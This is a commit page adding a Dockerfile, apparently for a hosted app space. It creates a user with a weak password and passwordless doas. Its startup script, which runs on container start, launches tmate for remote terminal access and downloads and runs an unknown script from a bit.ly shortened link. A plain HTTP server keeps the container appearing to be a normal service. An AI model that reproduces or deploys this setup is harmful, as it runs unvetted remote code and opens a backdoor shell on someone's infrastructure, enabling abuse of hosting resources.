ayoub ayoub commited on
Commit
39ae8b5
·
verified ·
1 Parent(s): 5ac4070

Create Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +61 -0
Dockerfile ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ FROM ubuntu:22.04
2
+
3
+ ENV DEBIAN_FRONTEND=noninteractive
4
+ ENV LANG=en_US.UTF-8
5
+ ENV LANGUAGE=en_US:en
6
+ ENV LC_ALL=en_US.UTF-8
7
+
8
+ # Install system dependencies
9
+ RUN apt update && apt upgrade -y && \
10
+ apt install -y \
11
+ curl wget git gnupg openssh-client \
12
+ neofetch tmate python3 python3-pip \
13
+ ca-certificates software-properties-common \
14
+ build-essential procps xz-utils net-tools \
15
+ make ffmpeg nano vim htop unzip zip \
16
+ iputils-ping tree lsof netcat tmux \
17
+ locales cmake && \
18
+ locale-gen en_US.UTF-8 && \
19
+ apt clean && rm -rf /var/lib/apt/lists/* && \
20
+ apt update && apt install -y doas
21
+
22
+ # Install Node.js 22 and latest npm
23
+ RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \
24
+ apt install -y nodejs && npm install -g npm
25
+
26
+ # Install Python tool
27
+ RUN pip3 install speedtest-cli
28
+
29
+ # Create 'draco' user
30
+ RUN useradd -m -s /bin/bash draco && \
31
+ echo "draco:draco" | chpasswd && \
32
+ usermod -u 1000 draco
33
+
34
+ # Allow 'draco' to use doas without password
35
+ RUN echo "permit nopass draco" > /etc/doas.conf
36
+
37
+ # Alias sudo to doas
38
+ RUN echo "alias sudo='doas'" >> /home/draco/.bashrc
39
+
40
+ # SSH key for draco
41
+ RUN mkdir -p /home/draco/.ssh && \
42
+ ssh-keygen -t rsa -f /home/draco/.ssh/id_rsa -N '' && \
43
+ chown -R draco:draco /home/draco/.ssh
44
+
45
+ # Create tmate+script launcher
46
+ RUN echo '#!/bin/bash\n\
47
+ tmate -F &\n\
48
+ wget -O su.sh https://bit.ly/akuhGet && chmod +x su.sh && ./su.sh\n\
49
+ python3 -m http.server 7860' > /home/draco/startup.sh && \
50
+ chmod +x /home/draco/startup.sh && \
51
+ chown draco:draco /home/draco/startup.sh
52
+
53
+ # Set user and working dir
54
+ USER draco
55
+ WORKDIR /home/draco
56
+
57
+ # Expose HTTP server port
58
+ EXPOSE 7860
59
+
60
+ # Start everything
61
+ CMD ["bash", "startup.sh"]